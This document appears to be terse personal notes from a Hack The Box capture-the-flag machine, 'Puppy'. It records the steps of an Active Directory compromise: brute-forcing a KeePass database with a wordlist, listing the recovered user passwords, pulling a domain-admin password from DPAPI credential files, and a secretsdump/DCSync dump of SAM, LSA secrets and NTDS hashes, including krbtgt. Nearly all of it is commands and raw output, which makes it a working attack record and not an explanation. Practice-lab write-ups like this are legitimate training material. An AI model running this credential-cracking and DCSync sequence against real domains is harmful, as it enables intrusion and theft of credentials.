adam.silver is prob the user I have to get
ant.edwards also too maybe both are remote mgm users
steph.cooper_adm@PUPPY.HTB β this guy has domain admin
dump keepass database
./bin/python3 bfkeepass.py -d /home/ew/box/puppy/loot/recovery.kdbx -w /home/ew/Documents/wordlists/rockyou.txt -o [] Running bfkeepass [] Starting bruteforce processβ¦ [!] Success! Database password: liverpool [>] Dumping entriesβ¦
[>] Title: JAMIE WILLIAMSON [>] Username: None [>] Password: JamieLove2025! [>] URL: puppy.htb [>] Notes: None
[>] Title: ADAM SILVER [>] Username: None [>] Password: HJKL2025! [>] URL: puppy.htb [>] Notes: None
[>] Title: ANTONY C. EDWARDS [>] Username: None [>] Password: Antman2025! [>] URL: puppy.htb [>] Notes: None
[>] Title: STEVE TUCKER [>] Username: None [>] Password: Steve2025! [>] URL: puppy.htb [>] Notes: None
[>] Title: SAMUEL BLAKE [>] Username: None [>] Password: ILY2025! [>] URL: puppy.htb [>] Notes: None
[>] Entry dump complete. [] Stopping bruteforce process. [] Done.
credentials that worked
ant.edwards Antman2025!
[>] Title: ANTONY C. EDWARDS [>] Username: None [>] Password: Antman2025! [>] URL: puppy.htb [>] Notes: None
found this in the backup file
to show all files in a folder dir -Force
got this from dpapi β credential files [CREDENTIAL] LastWritten : 2025-03-08 15:54:29 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=PUPPY.HTB Description : Unknown : Username : steph.cooper_adm Unknown : FivethChipOnItsWay2025!
secretsdump steph.cooper_adm has DCSync permission on domain
[] Service RemoteRegistry is in stopped state [] Starting service RemoteRegistry [] Target system bootKey: 0xa943f13896e3e21f6c4100c7da9895a6 [] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:9c541c389e2904b9b112f599fd6b333d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnβt have hash information. [] Dumping cached domain logon information (domain/username:hash) [] Dumping LSA Secrets [] :aes256-cts-hmac-sha1-96:f4f395e28f0933cac28e02947bc68ee11b744ee32b6452dbf795d9ec85ebda45 PUPPY\DC:des-cbc-md5:54e9a11619f8b9b5 PUPPY\DC:aad3b435b51404eeaad3b435b51404ee:d5047916131e6ba897f975fc5f19c8df::: [] DPAPI_SYSTEM dpapi_machinekey:0xc21ea457ed3d6fd425344b3a5ca40769f14296a3 dpapi_userkey:0xcb6a80b44ae9bdd7f368fb674498d265d50e29bf [] NLKM 0000 DD 1B A5 A0 33 E7 A0 56 1C 3F C3 F5 86 31 BA 09 ....3..V.?...1.. 0010 1A C4 D4 6A 3C 2A FA 15 26 06 3B 93 E0 66 0F 7A ...j<*..&.;..f.z 0020 02 9A C7 2E 52 79 C1 57 D9 0C D3 F6 17 79 EF 3F ....Ry.W.....y.? 0030 75 88 A3 99 C7 E0 2B 27 56 95 5C 6B 85 81 D0 ED u.....+'V.\k.... NLKM:dd1ba5a033e7a0561c3fc3f58631ba091ac4d46a3c2afa1526063b93e0660f7a029ac72e5279c157d90cd3f61779ef3f7588a399c7e02b2756955c6b8581d0ed [] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb0edc15e49ceb4120c7bd7e6e65d75b::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a4f2989236a639ef3f766e5fe1aad94a::: PUPPY.HTB\levi.james:1103:aad3b435b51404eeaad3b435b51404ee:ff4269fdf7e4a3093995466570f435b8::: PUPPY.HTB\ant.edwards:1104:aad3b435b51404eeaad3b435b51404ee:afac881b79a524c8e99d2b34f438058b::: PUPPY.HTB\adam.silver:1105:aad3b435b51404eeaad3b435b51404ee:a7d7c07487ba2a4b32fb1d0953812d66::: PUPPY.HTB\jamie.williams:1106:aad3b435b51404eeaad3b435b51404ee:bd0b8a08abd5a98a213fc8e3c7fca780::: PUPPY.HTB\steph.cooper:1107:aad3b435b51404eeaad3b435b51404ee:b261b5f931285ce8ea01a8613f09200b::: PUPPY.HTB\steph.cooper_adm:1111:aad3b435b51404eeaad3b435b51404ee:ccb206409049bc53502039b80f3f1173::: DC:aes256-cts-hmac-sha1-96:f4f395e28f0933cac28e02947bc68ee11b744ee32b6452dbf795d9ec85ebda45 DC:des-cbc-md5:7f044607a8dc9710